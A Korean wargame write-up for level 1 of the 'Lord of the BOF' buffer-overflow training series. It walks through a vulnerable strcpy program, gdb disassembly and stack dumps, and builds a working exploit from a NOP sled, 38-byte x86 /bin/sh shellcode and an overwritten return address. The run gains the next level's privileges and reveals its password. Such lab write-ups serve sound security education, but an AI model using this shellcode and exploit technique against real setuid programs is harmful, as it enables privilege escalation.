해커스쿨 왕기초편을 읽고 나서 제대로 BoF 훈련을 해보기 위하여 BoF 원정대 Wargame을 시작하였다. Stage 하나하나 직접 해보자. :)
BoF LEVEL1 (gate -> gremlin) : simple bof
256bytes 사이즈의 큰 buffer 에 BoF 완성하면 되는 문제.
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
shellcoe 확보
Scratch 부터 shellcode 작성할 수 있으면 좋겠지만.. 우선은 Linux x86 에서 shell 띄우는 shellcode 를 찾아보았다.
Writing shellcode for Linux and *BSD
c-code
execve()
이용하여 /bin/sh
실행하는 아주 간단한 코드.
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
BoF 원정대의 VM 환경에서 shell 띄우기 동작함.
> gcc -g -o get_shell get_shell.c
> ./get_shell
bash$ id
uid=500(gate) gid=500(gate) groups=500(gate)
shellcode : assembly 변환
위의 c 코드를 compile 된 obj 를 가지고 shellcode 로서 동작시키 위하여 null byte 를 없애는 등의 작업을 해야하는데… 우선 초보이므로 최종 결과물을 사용해보자. 대신 좀더 익숙해지면 반드시 직접 손으로 shellcode 짜야한다.
최종 shellcode
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
"\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Dynamic debugging
BoF 를 하기 위하여 중요한 정보는 다음과 같다.
- Buffer size
- Return address
우리는 Wargame 으로서 소스를 가지고 있어서 buffer 의 사이즈가 256bytes 라는 것은 운좋게도 알고 있는 상황이다.
Return address 확인
하지만 코드가 수행되고 있는 stack address 는 알지 못한다. 이 값을 알아야 BoF 에서 가장 중요한 stack 에 저장된 saved return address 대신에 exploit code 의 어드레스로 바꾸어 주어야 한다.
문제의 실행파일인 gremlin
파일의 권한이 gremlin
이라서 1단계 gate
는 권한이 부족하여 gdb debugging 이 제대로 되지 않는 것 같다.
-rwsr-sr-x 1 gremlin gremlin 11987 Feb 26 2010 gremlin
대신 직접 compile 하여 gdb debugging 을 하여 보자.
> gcc -g -o gremlin2 gremlin.c
> ls -al
-rwsr-sr-x 1 gremlin gremlin 11987 Feb 26 2010 gremlin
-rw-rw-r-- 1 gate gate 272 Mar 29 2010 gremlin.c
-rwxrwxr-x 1 gate gate 12583 Oct 25 16:04 gremlin2
(gdb) disas
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x100,%esp
0x8048439 <main+9>: cmpl $0x1,0x8(%ebp)
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push $0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add $0x4,%esp
0x804844c <main+28>: push $0x0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add $0x4,%esp
0x8048456 <main+38>: mov 0xc(%ebp),%eax
0x8048459 <main+41>: add $0x4,%eax
0x804845c <main+44>: mov (%eax),%edx
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea 0xffffff00(%ebp),%eax
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370 <strcpy>
0x804846b <main+59>: add $0x8,%esp
0x804846e <main+62>: lea 0xffffff00(%ebp),%eax
0x8048474 <main+68>: push %eax
0x8048475 <main+69>: push $0x80484ec
0x804847a <main+74>: call 0x8048350 <printf>
0x804847f <main+79>: add $0x8,%esp
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
(gdb) x/100x $esp
0xbffff920: 0xbffff928 0xbffffb86 0x90909090 0x90909090
0xbffff930: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff940: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff950: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff960: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff970: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff980: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff990: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa20: 0x90909090 0x90909090 0xbffffa00 0x400309cb
0xbffffa30: 0x00000002 0xbffffa74 0xbffffa80 0x40013868
0xbffffa40: 0x00000002 0x08048380 0x00000000 0x080483a1
0xbffffa50: 0x08048430 0x00000002 0xbffffa74 0x080482e0
0xbffffa60: 0x080484bc 0x4000ae60 0xbffffa6c 0x40013e90
0xbffffa70: 0x00000002 0xbffffb72 0xbffffb86 0x00000000
0xbffffa80: 0xbffffc87 0xbffffca9 0xbffffcb3 0xbffffcc1
0xbffffa90: 0xbffffce0 0xbffffced 0xbffffd05 0xbffffd1f
0xbffffaa0: 0xbffffd3e 0xbffffd49 0xbffffd57 0xbffffd97
버퍼 사이즈가 충분히 길기 때문에 shellcode 38bytes 앞에 [NOP] 를 넣고, 가장 중요한 [LR] 넣어서 exploit 구성함.
[Buffer 256 bytes] + [SFP 4bytes] + [LR 4 bytes]
[NOP 222 bytes] + [shell code 38bytes] + [LR=0xbffff980]
BoF Exploit
./gremlin `python -c 'print "\x90"*222 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x80\xf9\xff\xbf"'`
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*222 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x80\xf9\xff\xbf"'`
^1F嵬bin/sh
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world